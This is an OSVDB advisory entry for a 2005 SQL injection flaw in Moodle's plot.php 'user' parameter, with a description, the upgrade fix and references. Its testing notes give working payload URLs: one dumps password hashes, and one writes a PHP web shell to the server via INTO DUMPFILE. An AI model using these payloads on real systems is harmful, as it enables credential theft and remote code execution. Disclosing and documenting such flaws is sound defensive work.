Moodle plot.php user Variable SQL Injection

2005-11-10T07:03:44
ID OSVDB:20749
Type osvdb
Reporter rgod(retrogod@aliceposta.it)
Modified 2005-11-10T07:03:44

Description

Vulnerability Description

Moodle contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the plot.php script not properly sanitizing user-supplied input to the "user" variable. This may allow an attacker to inject or manipulate SQL queries in the backend database.

Solution Description

Upgrade to version 1.6dev or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

Moodle contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the plot.php script not properly sanitizing user-supplied input to the "user" variable. This may allow an attacker to inject or manipulate SQL queries in the backend database.

Manual Testing Notes

to view user/admin password hashes: http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='or%20isnull(1/0)/*

to inject a shell: http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='UNION %20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, '<?php%20system($_GET[cmd]);%20?>%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../ ../www/moodle/shell.php'%20FROM%20mdl_user/*

References:

Vendor URL: http://moodle.org/ Security Tracker: 1015181 Secunia Advisory ID:17526 Related OSVDB ID: 20748 Related OSVDB ID: 20750 Other Advisory URL: http://rgod.altervista.org/moodle16dev.html Generic Exploit URL: http://www.milw0rm.com/id.php?id=1312